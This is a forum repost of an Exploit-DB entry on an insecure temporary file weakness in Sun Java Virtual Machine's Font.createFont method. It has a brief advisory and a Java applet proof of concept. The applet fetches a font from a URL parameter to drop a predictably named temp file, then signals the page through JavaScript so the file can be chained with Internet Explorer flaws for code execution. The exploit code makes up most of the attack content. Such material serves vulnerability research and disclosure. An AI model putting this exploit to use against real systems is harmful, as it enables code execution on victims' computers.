Exploit Sun Java Virtual Machine 1.x - 'Font.createFont' Method Insecure Temporary File Creation

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
24264
Проверка EDB
  1. Пройдено
Автор
JELMER
Тип уязвимости
REMOTE
Платформа
MULTIPLE
CVE
N/A
Дата публикации
2004-07-09
Sun Java Virtual Machine 1.x - 'Font.createFont' Method Insecure Temporary File Creation
Java:
source: https://www.securityfocus.com/bid/10685/info

Sun Java Virtual Machine is a component of the Sun Java infrastructure that performs the handling of Java applets and other programs. It is available for Unix, Linux, and Microsoft platforms. 

Sun Java Virtual Machine is prone to an insecure temporary file creation weakness. It is reported that this file is created by the 'Font.createFont' method with the following name:

+~JFxxxxx.tmp

where xxxxx is a random number.

This issue can be combined with various other vulnerabilities in Internet Explorer to ultimately allow for code execution on a vulnerable computer.

import java.applet.Applet;

import java.awt.Font;

import java.net.URL;

import netscape.javascript.JSObject;



public class Jelmer extends Applet {



public void init() {



try {

Font f = Font.createFont(Font.TRUETYPE_FONT, new
URL(getParameter("infile")).openStream());

} catch(Exception ignored) {}



try {

JSObject jsWin = JSObject.getWindow(this);

jsWin.call("doneloading", new Object[]{});



} catch(Exception e) {

e.printStackTrace();

}

}

}
 
Источник
www.exploit-db.com

Похожие темы